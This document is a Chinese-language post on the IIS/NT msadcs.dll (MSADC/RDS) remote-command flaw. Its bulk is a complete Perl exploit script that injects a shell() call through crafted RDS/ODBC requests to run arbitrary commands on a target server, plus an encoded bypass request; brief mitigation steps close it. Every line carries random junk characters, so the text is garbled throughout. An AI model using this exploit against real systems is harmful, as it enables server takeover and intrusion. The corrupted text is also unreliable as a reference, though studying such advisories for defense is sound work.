IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
46]BRL2 G \d JhDR 涉及程序：
\dCGu~bT Microsoft NT server
#f"eZAQ { z'l
H L 描述：
~;9n6U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
E"9(CjbQ[ \( Oc 3+n6 详细：
7f+@6jqD\) 如果你没有时间读详细内容的话，就删除:
0)SRLHTY% c:\Program Files\Common Files\System\Msadc\msadcs.dll
"a].v 8l! 有关的安全问题就没有了。
N
;=z o-8 Y_Fn)( 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%SB4_ r*< |'-aR@xJ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
cW>=/ 关于利用ODBC远程漏洞的描述，请参看:
ef^GJTv&k #I?Z, ;DI= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~-Kx^3(# 2b7-=/[6 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
9;Z{++z http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1q(Qr
h 3F]Dh^IR9 这里不再论述。
I'*,<BPG @Dfg6<0 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
rX)&U4#[ m .O "a: ^i /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
W+ ;=8S 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
8OZ asf =q0V%h{ W6T4Zsg #将下面这段保存为txt文件，然后: "perl -x 文件名"
[3bPoAr\ G+N1#0,q #!perl
1iY4|j;ahV #
9V1d`]tP # MSADC/RDS 'usage' (aka exploit) script
Eo2`Vr9g #
)M dddz 4 # by rain.forest.puppy
.iy>N/u #
3v \P6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
M>Q Z N # beta test and find errors!
gdeM,A| %IBT85{ use Socket; use Getopt::Std;
!b_(|~7Lc getopts("e:vd:h:XR", \%args);
["f6Ern F/ZFO5C% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
i [9yu- V K6D if (!defined $args{h} && !defined $args{R}) {
iS,l print qq~
0F -{YQr> Usage: msadc.pl -h <host> { -d <delay> -X -v }
l#enbQ`-~ -h <host> = host you want to scan (ip or domain)
peu9B gs -d <seconds> = delay between calls, default 1 second
U Buh '?j -X = dump Index Server path table, if available
lXTE#,XVf -v = verbose
?'0!>EjY" -e = external dictionary file for step 5
eM nK@ J T`wDdqWbEG Or a -R will resume a command session
SI~j M:S} jbipNgxkr ~; exit;}
8)bR\s cy.r /Z} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'y; Kj if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_?H3*!>3 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
A 0 Nx? if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
*gH]R*Q[Rt $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
pDlrK&;\z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
BL 1KM2] 2j8GJU/L if (!defined $args{R}){ $ret = &has_msadc;
iH4LZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
uCr& ` BJwuN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
_M/N_Fm . "cmd /c ";
#?w07/~L $in=<STDIN>; chomp $in;
LH2B*8=^2 $command="cmd /c " . $in ;
I+H~ 5zq. s R1_L/ . if (defined $args{R}) {&load; exit;}
g8uqW1E ^ dvjj"F'Bf print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
UgAp9$=z &try_btcustmr;
0]bt}rh xx!8cvD4? print "\nStep 2: Trying to make our own DSN...";
OU UV8K &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"jyo'r ^'E ^*R print "\nStep 3: Trying known DSNs...";
6}-No &known_dsn;
I;NW!"pU Ur#jJR@%3 print "\nStep 4: Trying known .mdbs...";
c +3`hVV &known_mdb;
QO}~"lMj Q~nVbj?c2v if (defined $args{e}){
l SdA7 print "\nStep 5: Trying dictionary of DSN names...";
8^ } /T#l &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{WV"]O8IV N_bgW QY print "Sorry Charley...maybe next time?\n";
j7Fb4;o { exit;
~Pw9[ycn3 : W 0p3 6" ##############################################################################
*|Vf1R] Fge%6hu sub sendraw { # ripped and modded from whisker
4 & cQW) sleep($delay); # it's a DoS on the server! At least on mine...
) n O ^Ay my ($pstr)=@_;
}R<t=): socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
' r 7[9[ die("Socket problems\n");
5(ZOm|3ix if(connect(S,pack "SnA4x8",2,80,$target)){
kVQm|frUz select(S); $|=1;
Ztmh z_u7 print $pstr; my @in=<S>;
G^t)^iI"' select(STDOUT); close(S);
Uap0O2n return @in;
FDD=I\Ic } else { die("Can't connect...\n"); }}
~\JB) ca . Z q 8 5q ##############################################################################
L"
ejA Y:;_R=M sub make_header { # make the HTTP request
9SsVJ<9,R my $msadc=<<EOT
`{!A1xKZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
)&_bY~ P User-Agent: ACTIVEDATA
SX "|~Pi( Host: $ip
Y"bm4&' Content-Length: $clen
B-N//ef} Connection: Keep-Alive
9JP:wE~y >
f X^NX ADCClientVersion:01.06
Gt#r$.]W?o Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
y\^zxG*]' I>FL&E@K --!ADM!ROX!YOUR!WORLD!
U\lbh;9G Content-Type: application/x-varg
E2r5Pg
Content-Length: $reqlen
,WWd%DF) d]e36Dwk EOT
<8 <P, ; $msadc=~s/\n/\r\n/g;
k_]'?f7Z return $msadc;}
S. `y%t.GP IW!x!~e ##############################################################################
"<0 !S~] :bct+J}l~ sub make_req { # make the RDS request
O80Z7 my ($switch, $p1, $p2)=@_;
xcw:H&\w6 my $req=""; my $t1, $t2, $query, $dsn;
Oh1U=V2~ OU%"dmSDk if ($switch==1){ # this is the btcustmr.mdb query
P_3IFHe $query="Select * from Customers where City=" . make_shell();
VYb,Hmm>kC $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N9 M}H# $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
TNqL ')f DGGySO6=$e elsif ($switch==2){ # this is general make table query
5go)D+6s $query="create table AZZ (B int, C varchar(10))";
zgjgEhnvU $dsn="$p1";}
4A@HR Wd7*7'] elsif ($switch==3){ # this is general exploit table query
O~qRHYv $query="select * from AZZ where C=" . make_shell();
C&Q[[k"kb $dsn="$p1";}
lVT* Ev{&. t RU/[?! elsif ($switch==4){ # attempt to hork file info from index server
>97YK = $query="select path from scope()";
[]@@ $dsn="Provider=MSIDXS;";}
\@Cz 32wg 0J'^<G TL elsif ($switch==5){ # bad query
WDghlC6g!l $query="select";
L-E &m* % $dsn="$p1";}
B bmw[Qf\ (9]1p; $t1= make_unicode($query);
$O\m~r4 $t2= make_unicode($dsn);
1R @G7m $req = "\x02\x00\x03\x00";
#9TL5-1y $req.= "\x08\x00" . pack ("S1", length($t1));
% TFsk $req.= "\x00\x00" . $t1 ;
T%%EWa<a $req.= "\x08\x00" . pack ("S1", length($t2));
P
s>Y] $req.= "\x00\x00" . $t2 ;
dHx4yFS $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
[xM&Jdf8 return $req;}
gH(#<f@ZI uq]=L ##############################################################################
O:GP uVb\ fG V'l__\\ sub make_shell { # this makes the shell() statement
9<rs3 84 return "'|shell(\"$command\")|'";}
]vf_ 4QW= %R4 \[ e ##############################################################################
DtBvfYO8)> @Pc7$ qD % sub make_unicode { # quick little function to convert to unicode
OiA uL:D my ($in)=@_; my $out;
$MDmY4 \ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
GCYXDovh return $out;}
jX4$PfOhR ^!^M Gzu ##############################################################################
f `ibP6% mxCneX sub rdo_success { # checks for RDO return success (this is kludge)
0@? m"|G my (@in) = @_; my $base=content_start(@in);
tLKf]5}f if($in[$base]=~/multipart\/mixed/){
cRK Lyb return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8OOAPp$%| return 0;}
% m 6qL '~
B2[ ##############################################################################
#Db^* VM5 'd sub make_dsn { # this makes a DSN for us
VTL_I^p my @drives=("c","d","e","f");
U:~]> B $ print "\nMaking DSN: ";
r[ k foreach $drive (@drives) {
<[ dt2)%L> print "$drive: ";
F6 ~
;f; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
/D9#v1b "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*Jcd_D\-(1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2|?U%YrHWs $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
c86?-u') return 0 if $2 eq "404"; # not found/doesn't exist
}f;TG:6 if($2 eq "200") {
1:<n(?5JI foreach $line (@results) {
p}==a NZK return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
lGahwn: } return 0;}
O6$,J1 2l ,k.") ##############################################################################
j{FRD8]V
u `w w sub verify_exists {
l$!ExXEZO; my ($page)=@_;
K+ /wJ9^B my @results=sendraw("GET $page HTTP/1.0\n\n");
fCu;n%
return $results[0];}
U 4dfO= *?Wz/OJ0 ##############################################################################
MjQ>& fUK 6miXaAA8 sub try_btcustmr {
D@X"1X!F`G my @drives=("c","d","e","f");
;C =d(
pY my @dirs=("winnt","winnt35","winnt351","win","windows");
Rm n|!C%%K y)|d`qC\ foreach $dir (@dirs) {
/kr|}`#
Z print "$dir -> "; # fun status so you can see progress
Z/ml ,4e foreach $drive (@drives) {
@P0rNO %y print "$drive: "; # ditto
5/6Jq $reqlen=length( make_req(1,$drive,$dir) ) - 28;
vt"bB $reqlenlen=length( "$reqlen" );
bO$KV"*! $clen= 206 + $reqlenlen + $reqlen;
b"o\-iUioe I3.JAoB>! my @results=sendraw(make_header() . make_req(1,$drive,$dir));
fif'ptK if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
a'HHUii= else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
3bGU;2~} /AX)n:, ##############################################################################
CEkf0%YJ p) ;[;S sub odbc_error {
eCJtNPd my (@in)=@_; my $base;
<}&J|() my $base = content_start(@in);
$[HCetaqV if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
w$s 6NBF7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xv>8rW(Np5 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9`qw,X&AK_ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WllQM,h return $in[$base+4].$in[$base+5].$in[$base+6];}
p:tp |/ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9:%')M&Q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
i\
7JQZ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1)}hz A u-.5rH l ##############################################################################
#Q_Scxf !j #8zN sub verbose {
Q g1kF^= my ($in)=@_;
Iw] ylp return if !$verbose;
=saRh)EM print STDOUT "\n$in\n";}
6 Yva4Lv $5ea[n c ##############################################################################
d+h~4'ebv { LKW%G7 sub save {
W4qT]m my ($p1, $p2, $p3, $p4)=@_;
EN ^L.q9# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Z
*tHZ7 b print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
;O>zA]Z8r close OUT;}
lGT[6S\as w=nS*Qy 2 ##############################################################################
]GHw~s? !6taOT>v sub load {
s 64@<oU<" my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ZBK)rmhMx open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~.e~YI80 @p=<IN>; close(IN);
LkF*$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
'SE5sB
$target= inet_aton($ip) || die("inet_aton problems");
N6\m*j,` print "Resuming to $ip ...";
S_AN.8T $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
rx#GrV*y if($p[1]==1) {
o@$ py U8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
I+ Qt5Ox $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
/&=y_%VR my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{ O=_c|u{N if (rdo_success(@results)){print "Success!\n";}
%Y.@AiViz else { print "failed\n"; verbose(odbc_error(@results));}}
{6 )H.vpP elsif ($p[1]==3){
Hjs#p{t[ if(run_query("$p[3]")){
btC<>(k l& print "Success!\n";} else { print "failed\n"; }}
uu0t}3l elsif ($p[1]==4){
M_$;"NS+} if(run_query($drvst . "$p[3]")){
j~in%|^ print "Success!\n"; } else { print "failed\n"; }}
_jCu=l_ exit;}
W`#E[g?] T.{]t6t$U
##############################################################################
#K-O<:s=y {v d +cE sub create_table {
g_Y$5ft` my ($in)=@_;
_!Z}HCk $reqlen=length( make_req(2,$in,"") ) - 28;
qp f|.m $reqlenlen=length( "$reqlen" );
G! F_Q7|- $clen= 206 + $reqlenlen + $reqlen;
9,>c;7s X my @results=sendraw(make_header() . make_req(2,$in,""));
GVu -<R return 1 if rdo_success(@results);
d_V7w4 lK my $temp= odbc_error(@results); verbose($temp);
-q-BP}r3 return 1 if $temp=~/Table 'AZZ' already exists/;
C?g*c return 0;}
Ln h'y `q SrWmV@"y ##############################################################################
HZ{DlH;& C91'dM sub known_dsn {
\Z/0i| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{oo(HD;5 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
iqd7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
IQ~EL';<w "banner", "banners", "ads", "ADCDemo", "ADCTest");
Hb$wawy< ,/p .!+ foreach $dSn (@dsns) {
)q{e L $ print ".";
i94)DWZ^ next if (!is_access("DSN=$dSn"));
6l|SGt\ if(create_table("DSN=$dSn")){
WR* <| print "$dSn successful\n";
cR6 #$-a if(run_query("DSN=$dSn")){
O~Dm|hP print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(iO/@iw print "Something's borked. Use verbose next time\n";}}} print "\n";}
n5#9o},oK m0Uk*~Gz ##############################################################################
]>(pQD 2F ,?}jJ.K sub is_access {
Ao9=TC'v$' my ($in)=@_;
riglEA[^ $reqlen=length( make_req(5,$in,"") ) - 28;
bwjLMWEVq $reqlenlen=length( "$reqlen" );
t/x]vCP,2D $clen= 206 + $reqlenlen + $reqlen;
b]Lp_t my @results=sendraw(make_header() . make_req(5,$in,""));
:7qJ[k{g my $temp= odbc_error(@results);
>hotkMX `3 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}"^d<dvuz return 0;}
mL s>RR#b 3SF J8 ##############################################################################
59_VC(' ot^$/( W sub run_query {
}Mc&yjhMrg my ($in)=@_;
<oTNo>U/k $reqlen=length( make_req(3,$in,"") ) - 28;
'yAHB* rQR $reqlenlen=length( "$reqlen" );
a/ q8v P $clen= 206 + $reqlenlen + $reqlen;
v`"BXSmp{ my @results=sendraw(make_header() . make_req(3,$in,""));
u9}LvQh_6, return 1 if rdo_success(@results);
#|cr\\2* my $temp= odbc_error(@results); verbose($temp);
G'_5UP! return 0;}
s(Fxi|v; S#ud<=@!9 ##############################################################################
2cJ3b
0Xx { *qz<U > sub known_mdb {
HqA~ q my @drives=("c","d","e","f","g");
BMbZ34^e my @dirs=("winnt","winnt35","winnt351","win","windows");
W^9=z~-h my $dir, $drive, $mdb;
HO8x: 2m my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
RjHKFB2 Z9I
?j1K|! # this is sparse, because I don't know of many
.|J-(J<>[. my @sysmdbs=( "\\catroot\\icatalog.mdb",
vau#?U".}> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4g/Ly8 "\\system32\\certmdb.mdb",
p@=B\A] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3)~z~p7 FPuF1@K my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9D& 22hL4 "\\cfusion\\cfapps\\forums\\forums_.mdb",
{F$MZ2 E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
G c:oS vm "\\cfusion\\cfapps\\security\\realm_.mdb",
}z wHUf9q1 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
MB (l*ju0 "\\cfusion\\database\\cfexamples.mdb",
l$!g# ?w "\\cfusion\\database\\cfsnippets.mdb",
oIY @xuj "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ulY<4MN "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
JsQmn<Yt "\\cfusion\\brighttiger\\database\\cleam.mdb",
v0~*?m4 "\\cfusion\\database\\smpolicy.mdb",
@{^6_n+gT% "\\cfusion\\database\cypress.mdb",
OD1>s6uA7 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
l*4_
"\\website\\cgi-win\\dbsample.mdb",
vM /D7YS: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@I0[B<,:G "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
[yfi:|n1 ); #these are just
qRA ,-N foreach $drive (@drives) {
3l''
foreach $dir (@dirs){
T#G
(&0J5 foreach $mdb (@sysmdbs) {
IWAp print ".";
(Z};(Hn if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
%y2 i1^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{
BDUl3T if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
92D f.xI} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Z<Ke /Xi } else { print "Something's borked. Use verbose next time\n"; }}}}}
8G
p%Q gK"E4{ y_@ foreach $drive (@drives) {
JNgl foreach $mdb (@mdbs) {
S"joXmJ/-C print ".";
gJI(d6 if(create_table($drv . $drive . $dir . $mdb)){
C XiSin print "\n" . $drive . $dir . $mdb . " successful\n";
9^1.nE(R& if(run_query($drv . $drive . $dir . $mdb)){
j.y8H print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
E6y ?DXW H } else { print "Something's borked. Use verbose next time\n"; }}}}
73d7'Fw }
i_qR&X }c0EGoU}? ##############################################################################
zJa,kN|m dWAKIBe sub hork_idx {
1I go9rv print "\nAttempting to dump Index Server tables...\n";
x 3?:"D2 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
d<^ o @ $reqlen=length( make_req(4,"","") ) - 28;
qx3`5)ef $reqlenlen=length( "$reqlen" );
OBmmOswg~ $clen= 206 + $reqlenlen + $reqlen;
+zLh< q 0 my @results=sendraw2(make_header() . make_req(4,"",""));
h4dT N} if (rdo_success(@results)){
k'$UA$2d my $max=@results; my $c; my %d;
`}9j vR5 for($c=19; $c<$max; $c++){
h\qM5Qx+Q $results[$c]=~s/\x00//g;
SPK%
' s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
)\r;|DN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d|(@#*{T] $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
-& \? Q_6 $d{"$1$2"}="";}
F~_)auH foreach $c (keys %d){ print "$c\n"; }
vT>ki0P_; } else {print "Index server doesn't seem to be installed.\n"; }}
7IH^5r 3[O;HS3| ##############################################################################
%o 9;jX /SDDCZ`;|c sub dsn_dict {
XT
' v7 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
w st)O{ 4 while(<IN>){
ir*T ,O
2J $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
H + Y+8 next if (!is_access("DSN=$dSn"));
VY=c_Gl if(create_table("DSN=$dSn")){
g<r'f"^ print "$dSn successful\n";
F( Iq8DV if(run_query("DSN=$dSn")){
@`6 db print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a\m@I_r.N print "Something's borked. Use verbose next time\n";}}}
JQ .w6aE print "\n"; close(IN);}
QX j4cg w$5#jJX\ ##############################################################################
zf>r@>S!L }TS4D={1 sub sendraw2 { # ripped and modded from whisker
<MH| <hP sleep($delay); # it's a DoS on the server! At least on mine...
?YO$NYwE my ($pstr)=@_;
zg=F;^oZ< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
SXx2 die("Socket problems\n");
7VQk$im399 if(connect(S,pack "SnA4x8",2,80,$target)){
' cx&:s print "Connected. Getting data";
gM<*(=x' open(OUT,">raw.out"); my @in;
iB,Nqs3 i* select(S); $|=1; print $pstr;
L3g}Z1<!$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
U0kEhMIIf close(OUT); select(STDOUT); close(S); return @in;
]7`) |PJ } else { die("Can't connect...\n"); }}
s-He IT u6m<V ##############################################################################
kM,$ 0 @ naT;K0T= sub content_start { # this will take in the server headers
@Gj|X> 0 my (@in)=@_; my $c;
MQv2C@K9F for ($c=1;$c<500;$c++) {
Ux Yb[Nbc if($in[$c] =~/^\x0d\x0a/){
M)oy3y^& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!?7c2QR N else { return $c+1; }}}
>dW~o_u'QN return -1;} # it should never get here actually
i$A0_ZJKjZ 0V&6"pF_Y' ##############################################################################
]`2=<n;= 62 biOea sub funky {
u-a* fT my (@in)=@_; my $error=odbc_error(@in);
; (0E#hGN if($error=~/ADO could not find the specified provider/){
:/kz*X=< print "\nServer returned an ADO miscofiguration message\nAborting.\n";
c? NXX& exit;}
zl W 5$cC[ if($error=~/A Handler is required/){
-n Q :RHnd print "\nServer has custom handler filters (they most likely are patched)\n";
d|9B3I*I exit;}
Zw[A1!T, if($error=~/specified Handler has denied Access/){
;{e ;6Hq print "\nServer has custom handler filters (they most likely are patched)\n";
9(>l trA exit;}}
S"Dw8_y7} c b k|LQ.O ##############################################################################
QJaF6>m V+mTo^ sub has_msadc {
JZ5N Q)sX my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"@ JSF my $base=content_start(@results);
|X6 ]#&g7 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
xi]qdiA return 0;}
' ju{ j`b 0!c^pOq6 ########################
qe! \ oh S 'jH u*ZRU
4 U 解决方案：
fBptjt_ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
TqM (I[J7\ 2、移除web 目录: /msadc
